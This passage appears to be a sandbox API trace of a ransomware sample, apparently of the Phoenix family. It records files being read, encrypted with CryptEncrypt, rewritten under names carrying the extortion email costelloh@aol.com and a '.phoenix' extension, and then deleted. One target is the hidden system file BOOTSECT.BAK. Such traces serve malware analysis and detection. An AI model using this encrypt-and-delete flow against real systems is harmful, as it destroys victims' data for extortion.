	[0067.735] CloseHandle (hObject=0x33c) returned 1
	[0067.871] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1
	[0067.873] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0067.873] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.875] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=3628) returned 1
	[0067.875] CloseHandle (hObject=0x31c) returned 1
	[0067.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80
	[0067.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0067.875] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.876] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0067.876] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0067.876] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.876] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa308) returned 1
	[0067.876] CryptSetKeyParam (hKey=0xbaa308, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0067.876] ReadFile (in: hFile=0x31c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xe2c, lpOverlapped=0x0) returned 1
	[0067.956] CryptEncrypt (in: hKey=0xbaa308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xe30, dwBufLen=0xe30 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xe30) returned 1
	[0067.956] WriteFile (in: hFile=0x314, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xe30, lpOverlapped=0x0) returned 1
	[0067.957] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa5c8) returned 1
	[0067.957] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0067.957] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0067.957] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0067.957] WriteFile (in: hFile=0x314, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0067.957] CryptDestroyKey (hKey=0xbaa308) returned 1
	[0067.957] CloseHandle (hObject=0x31c) returned 1
	[0067.958] CloseHandle (hObject=0x314) returned 1
	[0067.962] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1
	[0067.964] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0067.964] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.964] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=30120) returned 1
	[0067.964] CloseHandle (hObject=0x314) returned 1
	[0067.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80
	[0067.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0067.964] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.965] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0067.965] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0067.965] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.966] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa348) returned 1
	[0067.966] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0067.966] ReadFile (in: hFile=0x314, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x75a8, lpOverlapped=0x0) returned 1
	[0068.101] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x75b0, dwBufLen=0x75b0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x75b0) returned 1
	[0068.101] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x75b0, lpOverlapped=0x0) returned 1
	[0068.102] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa488) returned 1
	[0068.103] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0068.103] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0068.103] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0068.103] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0068.103] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0068.103] CloseHandle (hObject=0x314) returned 1
	[0068.103] CloseHandle (hObject=0x31c) returned 1
	[0068.113] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1
	[0068.115] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0068.115] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0068.115] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=38898) returned 1
	[0068.115] CloseHandle (hObject=0x31c) returned 1
	[0068.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80
	[0068.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0068.116] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0068.116] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0068.116] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0068.116] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0068.116] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa288) returned 1
	[0068.116] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0068.116] ReadFile (in: hFile=0x31c, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x97f2, lpOverlapped=0x0) returned 1
	[0069.251] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x9800, dwBufLen=0x9800 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x9800) returned 1
	[0069.251] WriteFile (in: hFile=0x314, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x9800, lpOverlapped=0x0) returned 1
	[0069.457] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa208) returned 1
	[0069.459] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0069.459] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0069.459] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0069.460] WriteFile (in: hFile=0x314, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0069.460] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0069.460] CloseHandle (hObject=0x31c) returned 1
	[0069.460] CloseHandle (hObject=0x314) returned 1
	[0069.481] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1
	[0069.493] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0069.493] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0069.497] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=104072) returned 1
	[0069.497] CloseHandle (hObject=0x324) returned 1
	[0069.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80
	[0069.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0069.497] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0069.497] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0069.497] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0069.497] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0069.498] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa608) returned 1
	[0069.498] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0069.498] ReadFile (in: hFile=0x324, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x19688, lpOverlapped=0x0) returned 1
	[0069.563] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x19690, dwBufLen=0x19690 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x19690) returned 1
	[0069.563] WriteFile (in: hFile=0x340, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x19690, lpOverlapped=0x0) returned 1
	[0069.571] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa348) returned 1
	[0069.571] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0069.571] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0069.571] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0069.571] WriteFile (in: hFile=0x340, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0069.572] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0069.572] CloseHandle (hObject=0x324) returned 1
	[0069.572] CloseHandle (hObject=0x340) returned 1
	[0069.588] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1
	[0069.590] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0069.590] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0069.591] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=8192) returned 1
	[0069.591] CloseHandle (hObject=0x340) returned 1
	[0069.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27
	[0069.591] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1
	[0069.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\bootsect.bak.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0069.592] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0069.592] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0069.592] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0069.592] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\bootsect.bak.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0069.593] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa848) returned 1
	[0069.593] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0069.593] ReadFile (in: hFile=0x340, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x2000, lpOverlapped=0x0) returned 1
	[0069.682] CryptEncrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x2010, dwBufLen=0x2010 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x2010) returned 1
	[0069.682] WriteFile (in: hFile=0x324, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x2010, lpOverlapped=0x0) returned 1
	[0069.683] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa5c8) returned 1
	[0069.683] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0069.683] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0069.683] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0069.683] WriteFile (in: hFile=0x324, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0069.683] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0069.683] CloseHandle (hObject=0x340) returned 1
	[0069.683] CloseHandle (hObject=0x324) returned 1
	[0069.684] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1
	[0069.685] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-0001].[costelloh@aol.com].phoenix", dwFileAttributes=0x27) returned 1
	[0069.685] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0069.686] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0069.686] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=21009) returned 1
	[0069.687] CloseHandle (hObject=0x324) returned 1
	[0069.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20
	[0069.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0069.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0069.687] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0069.687] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0069.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0069.688] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa288) returned 1
	[0069.688] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0069.688] ReadFile (in: hFile=0x324, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x5211, lpOverlapped=0x0) returned 1
	[0069.881] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x5220, dwBufLen=0x5220 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x5220) returned 1
	[0069.881] WriteFile (in: hFile=0x340, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x5220, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x5220, lpOverlapped=0x0) returned 1
	[0069.882] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa748) returned 1
	[0069.882] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
